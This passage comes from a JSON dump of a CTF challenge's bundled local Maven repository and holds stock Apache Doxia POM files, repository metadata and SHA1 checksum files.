</configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <profiles>\n    <profile>\n      <id>reporting</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-antrun-plugin</artifactId>\n            <executions>\n              <execution>\n                <phase>site</phase>\n                <configuration>\n                  <tasks>\n                    <taskdef name=\"xsddoc\" classname=\"net.sf.xframe.xsddoc.Task\" />\n\n                    <condition property=\"dir\" value=\"${project.reporting.outputDirectory}/xsddoc\">\n                      <matches string=\"${project.reporting.outputDirectory}\" pattern=\"^${basedir}\" />\n                    </condition>\n                    <condition property=\"dir\" value=\"${project.reporting.outputDirectory}/xsddoc\">\n                      <not>\n                        <isset property=\"dir\" />\n                      </not>\n                    </condition>\n\n                    <mkdir dir=\"${dir}\" />\n\n                    <xsddoc file=\"${basedir}/src/main/resources/fml-1.0.1.xsd\" out=\"${dir}\" doctitle=\"Reference of Schema FML 1.0.1\" verbose=\"true\" />\n                  </tasks>\n                </configuration>\n                <goals>\n                  <goal>run</goal>\n                </goals>\n              </execution>\n            </executions>\n            <dependencies>\n              <dependency>\n                <groupId>xsddoc</groupId>\n                <artifactId>xsddoc</artifactId>\n                <version>1.0</version>\n                <exclusions>\n                  <exclusion>\n                    <groupId>ant</groupId>\n                    <artifactId>ant</artifactId>\n                  </exclusion>\n                </exclusions>\n              </dependency>\n              <dependency>\n                <groupId>org.apache.ant</groupId>\n                <artifactId>ant-apache-regexp</artifactId>\n                <version>1.7.1</version>\n              </dependency>\n              <dependency>\n                <groupId>xalan</groupId>\n                <artifactId>xalan</artifactId>\n                <version>2.7.1</version>\n              </dependency>\n            </dependencies>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-fml/1.4/doxia-module-fml-1.4.pom.sha1",
    "content": "90437de25862f0793b82ed02794633ef8a7cce7b"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-markdown/1.4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\ndoxia-module-markdown-1.4.jar>central=\ndoxia-module-markdown-1.4.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-markdown/1.4/doxia-module-markdown-1.4.jar.sha1",
    "content": "90c587acc8b13dea639ffeb43854165a6531a011"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-markdown/1.4/doxia-module-markdown-1.4.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven.doxia</groupId>\n    <artifactId>doxia-modules</artifactId>\n    <version>1.4</version>\n    <relativePath>../pom.xml</relativePath>\n  </parent>\n\n  <artifactId>doxia-module-markdown</artifactId>\n\n  <name>Doxia :: Markdown Module</name>\n  <description>\n    A Doxia module for Markdown source documents.\n  </description>\n\n  <contributors>\n    <contributor>\n      <name>Julien Nicoulaud</name>\n      <email>julien.nicoulaud@gmail.com</email>\n      <timezone>+1</timezone>\n      <url>http://www.twitter.com/nicoulaj</url>\n    </contributor>\n  </contributors>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.pegdown</groupId>\n      <artifactId>pegdown</artifactId>\n      <version>1.2.1</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-module-xhtml</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n  </dependencies>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-markdown/1.4/doxia-module-markdown-1.4.pom.sha1",
    "content": "24752d9a71235113ead7366fc16d087973583cf9"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-xdoc/1.4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\ndoxia-module-xdoc-1.4.jar>central=\ndoxia-module-xdoc-1.4.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-xdoc/1.4/doxia-module-xdoc-1.4.jar.sha1",
    "content": "cf7d317034a3c8ab170076a4f82f6371ca5e6791"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-xdoc/1.4/doxia-module-xdoc-1.4.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>doxia-modules</artifactId>\n    <groupId>org.apache.maven.doxia</groupId>\n    <version>1.4</version>\n    <relativePath>../pom.xml</relativePath>\n  </parent>\n\n  <artifactId>doxia-module-xdoc</artifactId>\n\n  <name>Doxia :: XDoc Module</name>\n  <description>\n    A Doxia module for Xdoc source documents.\n    Xdoc format is supported both as source and target formats.\n  </description>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n\n    <!-- test -->\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-test-docs</artifactId>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>xerces</groupId>\n      <artifactId>xercesImpl</artifactId>\n      <version>2.9.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <excludes>\n            <!-- See DOXIA-408 -->\n            <exclude>org/apache/maven/doxia/module/xdoc/XmlWriterXdocSinkTest.java</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n\n  <profiles>\n    <profile>\n      <id>reporting</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-antrun-plugin</artifactId>\n            <executions>\n              <execution>\n                <phase>site</phase>\n                <configuration>\n                  <tasks>\n                    <taskdef name=\"xsddoc\" classname=\"net.sf.xframe.xsddoc.Task\" />\n\n                    <condition property=\"dir\" value=\"${project.reporting.outputDirectory}/xsddoc\">\n                      <matches string=\"${project.reporting.outputDirectory}\" pattern=\"^${basedir}\" />\n                    </condition>\n                    <condition property=\"dir\" value=\"${project.reporting.outputDirectory}/xsddoc\">\n                      <not>\n                        <isset property=\"dir\" />\n                      </not>\n                    </condition>\n\n                    <mkdir dir=\"${dir}\" />\n\n                    <xsddoc file=\"${basedir}/src/main/resources/xdoc-2.0.xsd\" out=\"${dir}\" doctitle=\"Reference of Schema Xdoc 2.0\" verbose=\"true\" />\n                  </tasks>\n                </configuration>\n                <goals>\n                  <goal>run</goal>\n                </goals>\n              </execution>\n            </executions>\n            <dependencies>\n              <dependency>\n                <groupId>xsddoc</groupId>\n                <artifactId>xsddoc</artifactId>\n                <version>1.0</version>\n                <exclusions>\n                  <exclusion>\n                    <groupId>ant</groupId>\n                    <artifactId>ant</artifactId>\n                  </exclusion>\n                </exclusions>\n              </dependency>\n              <dependency>\n                <groupId>org.apache.ant</groupId>\n                <artifactId>ant-apache-regexp</artifactId>\n                <version>1.7.1</version>\n              </dependency>\n              <dependency>\n                <groupId>xalan</groupId>\n                <artifactId>xalan</artifactId>\n                <version>2.7.1</version>\n              </dependency>\n            </dependencies>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-xdoc/1.4/doxia-module-xdoc-1.4.pom.sha1",
    "content": "e2df0753311a295cfbf6e18894b17b5d1c02b5f8"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-xhtml/1.4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\ndoxia-module-xhtml-1.4.jar>central=\ndoxia-module-xhtml-1.4.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-xhtml/1.4/doxia-module-xhtml-1.4.jar.sha1",
    "content": "109b0b6b49fdd166b036c7fce93393fa98002c66"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-xhtml/1.4/doxia-module-xhtml-1.4.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>doxia-modules</artifactId>\n    <groupId>org.apache.maven.doxia</groupId>\n    <version>1.4</version>\n    <relativePath>../pom.xml</relativePath>\n  </parent>\n\n  <artifactId>doxia-module-xhtml</artifactId>\n\n  <name>Doxia :: XHTML Module</name>\n  <description>\n    A Doxia module for Xhtml source documents.\n    Xhtml format is supported both as source and target formats.\n  </description>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n  </dependencies>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-xhtml/1.4/doxia-module-xhtml-1.4.pom.sha1",
    "content": "98902234bd791acb345e987a0513b25daf061196"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-modules/1.4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:00:54 CST 2018\ndoxia-modules-1.4.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-modules/1.4/doxia-modules-1.4.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n--><project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>doxia</artifactId>\n    <groupId>org.apache.maven.doxia</groupId>\n    <version>1.4</version>\n    <relativePath>../pom.xml</relativePath>\n  </parent>\n\n  <artifactId>doxia-modules</artifactId>\n\n  <name>Doxia :: Modules</name>\n  <packaging>pom</packaging>\n\n  <description>Doxia modules for several markup languages.</description>\n\n  <modules>\n    <module>doxia-module-apt</module>\n    <module>doxia-module-confluence</module>\n    <module>doxia-module-docbook-simple</module>\n    <module>doxia-module-fml</module>\n    <module>doxia-module-fo</module>\n    <module>doxia-module-itext</module>\n    <module>doxia-module-latex</module>\n    <module>doxia-module-rtf</module>\n    <module>doxia-module-twiki</module>\n    <module>doxia-module-xdoc</module>\n    <module>doxia-module-xhtml</module>\n    <!-- this has a dep on xhtml module, so needs to be built last! -->\n    <module>doxia-module-markdown</module>\n  </modules>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-core</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-sink-api</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-component-annotations</artifactId>\n    </dependency>\n\n    <!-- test -->\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-core</artifactId>\n      <type>test-jar</type>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-modules/1.4/doxia-modules-1.4.pom.sha1",
    "content": "4a72322c7c467a8a4b67993c2d0eee076a294c7c"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sink-api/1.0/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:59:59 CST 2018\ndoxia-sink-api-1.0.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sink-api/1.0/doxia-sink-api-1.0.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>doxia</artifactId>\n    <groupId>org.apache.maven.doxia</groupId>\n    <version>1.0</version>\n    <relativePath>../pom.xml</relativePath>\n  </parent>\n\n  <artifactId>doxia-sink-api</artifactId>\n  <name>Doxia :: Sink API</name>\n  <description>Doxia Sink API.</description>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sink-api/1.0/doxia-sink-api-1.0.pom.sha1",
    "content": "5d842372fdb4c42d78824141f7be4c0d541c983f"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sink-api/1.0-alpha-7/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:44 CST 2018\ndoxia-sink-api-1.0-alpha-7.jar>central=\ndoxia-sink-api-1.0-alpha-7.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sink-api/1.0-alpha-7/doxia-sink-api-1.0-alpha-7.jar.sha1",
    "content": "68464d54384c35119c70684d5d609b64635d1bbd"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sink-api/1.0-alpha-7/doxia-sink-api-1.0-alpha-7.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><project>\n  <parent>\n    <artifactId>doxia</artifactId>\n    <groupId>org.apache.maven.doxia</groupId>\n    <version>1.0-alpha-7</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>doxia-sink-api</artifactId>\n  <name>Doxia Sink API</name>\n  <version>1.0-alpha-7</version>\n  <distributionManagement>\n    <status>deployed</status>\n  </distributionManagement>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sink-api/1.0-alpha-7/doxia-sink-api-1.0-alpha-7.pom.sha1",
    "content": "d8e08f33563f684917311978da2ff03a9d0022ab"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sink-api/1.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:47 CST 2018\ndoxia-sink-api-1.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sink-api/1.1/doxia-sink-api-1.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>doxia</artifactId>\n    <groupId>org.apache.maven.doxia</groupId>\n    <version>1.1</version>\n    <relativePath>../pom.xml</relativePath>\n  </parent>\n\n  <artifactId>doxia-sink-api</artifactId>\n  <name>Doxia :: Sink API</name>\n  <description>Doxia Sink API.</description>\n\n  <dependencies>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-logging-api</artifactId>\n      </dependency>\n  </dependencies>\n\n  <profiles>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n            <version>2.2.2</version>\n            <configuration>\n              <comparisonVersion>1.0</comparisonVersion>\n            </configuration>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sink-api/1.1/doxia-sink-api-1.1.pom.sha1",
    "content": "0a73bb471bb8fe69ed25d59c348139e6afb834bc"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sink-api/1.4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\ndoxia-sink-api-1.4.jar>central=\ndoxia-sink-api-1.4.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sink-api/1.4/doxia-sink-api-1.4.jar.sha1",
    "content": "3cfed174cabb086426a9043da49a70526ff40d16"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sink-api/1.4/doxia-sink-api-1.4.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>doxia</artifactId>\n    <groupId>org.apache.maven.doxia</groupId>\n    <version>1.4</version>\n    <relativePath>../pom.xml</relativePath>\n  </parent>\n\n  <artifactId>doxia-sink-api</artifactId>\n  <name>Doxia :: Sink API</name>\n  <description>Doxia Sink API.</description>\n\n  <dependencies>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-logging-api</artifactId>\n      </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sink-api/1.4/doxia-sink-api-1.4.pom.sha1",
    "content": "a613738017689a91136272266089def6a2b3db49"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-site-renderer/1.4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\ndoxia-site-renderer-1.4.jar>central=\ndoxia-site-renderer-1.4.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-site-renderer/1.4/doxia-site-renderer-1.4.jar.sha1",
    "content": "91acd32a131407bccefd2971c1103c5d16002da2"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-site-renderer/1.4/doxia-site-renderer-1.4.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven.doxia</groupId>\n    <artifactId>doxia-sitetools</artifactId>\n    <version>1.4</version>\n    <relativePath>../pom.xml</relativePath>\n  </parent>\n\n  <artifactId>doxia-site-renderer</artifactId>\n\n  <name>Doxia :: Site Renderer</name>\n  <description>The Site Renderer handles the rendering of sites, merging site decoration with document content.</description>\n  <url>http://maven.apache.org/doxia/doxia-sitetools/doxia-site-renderer/</url>\n\n\n  <dependencies>\n    <!-- doxia -->\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-core</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-logging-api</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-sink-api</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-decoration-model</artifactId>\n    </dependency>\n    <!-- The modules are not in doxia core anymore so you have to state a dependency so that\n         the component descriptor gets picked up. -->\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-module-apt</artifactId>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-module-confluence</artifactId>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-module-docbook-simple</artifactId>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-module-xdoc</artifactId>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-module-xhtml</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-module-fml</artifactId>\n    </dependency>\n\n    <!-- plexus -->\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-i18n</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-velocity</artifactId>\n      <version>1.1.7</version>\n      <exclusions>\n        <exclusion>\n          <groupId>commons-collections</groupId>\n          <artifactId>commons-collections</artifactId>\n        </exclusion>\n        <exclusion>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-component-api</artifactId>\n        </exclusion>\n        <exclusion>\n          <groupId>velocity</groupId>\n          <artifactId>velocity</artifactId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n\n    <!-- misc -->\n    <dependency>\n      <groupId>org.apache.velocity</groupId>\n      <artifactId>velocity</artifactId>\n      <version>1.5</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.velocity</groupId>\n      <artifactId>velocity-tools</artifactId>\n      <version>2.0</version>\n    </dependency>\n    <dependency>\n      <groupId>commons-collections</groupId>\n      <artifactId>commons-collections</artifactId>\n      <version>3.2.1</version>\n    </dependency>\n\n    <!-- test -->\n    <dependency>\n      <groupId>commons-io</groupId>\n      <artifactId>commons-io</artifactId>\n      <version>1.4</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-core</artifactId>\n      <version>${doxiaVersion}</version>\n      <type>test-jar</type>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>net.sourceforge.htmlunit</groupId>\n      <artifactId>htmlunit</artifactId>\n      <version>2.7</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <profiles>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>l10n-maven-plugin</artifactId>\n            <version>1.0-alpha-2</version>\n            <configuration>\n              <locales>\n                <locale>de</locale>\n                <locale>en</locale>\n                <locale>es</locale>\n                <locale>fr</locale>\n                <locale>it</locale>\n                <locale>ja</locale>\n                